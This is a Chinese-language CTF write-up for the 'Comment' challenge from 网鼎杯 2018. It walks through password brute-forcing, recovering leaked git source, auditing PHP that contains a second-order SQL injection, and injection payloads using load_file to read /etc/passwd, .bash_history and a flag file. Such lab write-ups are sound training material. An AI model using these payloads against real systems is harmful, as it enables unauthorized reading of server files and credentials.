[网鼎杯 2018]Comment

知识点:

  1. 密码爆破
  2. 代码审计
  3. 二次注入
  4. 文件恢复

打开之后是一个发表评论的界面,尝试发表一下,发现需要登录,

登录界面提示密码只缺三位需要爆破,直接通过burp即可爆出密码为zhangwei666

登录

在控制台发现有提示,

应该是git恢复,扫一下后台发现了git文件

使用githacker恢复源码,但是恢复不全,

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

使用

git log --reflog命令查看到一共经过三次提交,我们恢复到第一个版本,

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

完整的源码如下,

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这里会构成二次注入,addslashes函数会在某些字符前加上反斜线,但数据库存入的数据会自动过滤处理,也就是说数据还是原样保存插入到数据库中,在插入数据库的代码中,所有参数都用这个函数做了处理,但是在下面的代码中,category从数据库中查出来后就没有处理直接拼入了sql中,造成二次注入。

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

就可以看到ctf数据库名,然后使用load_file读取文件。

aa',content=(select(load_file('/etc/passwd'))),/*

 

查看使用过的系统命令,

	22r',content=(select(load_file('/home/www/.bash_history'))),/*

可以看到这里删除了.DS_Store

通过十六进制读取.DS_Store

22r',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

16进制转换之后可以看到有一个guanyuflag的php文件

flag_8946e1ff1ee3e40f.php

aa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

解码获取到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值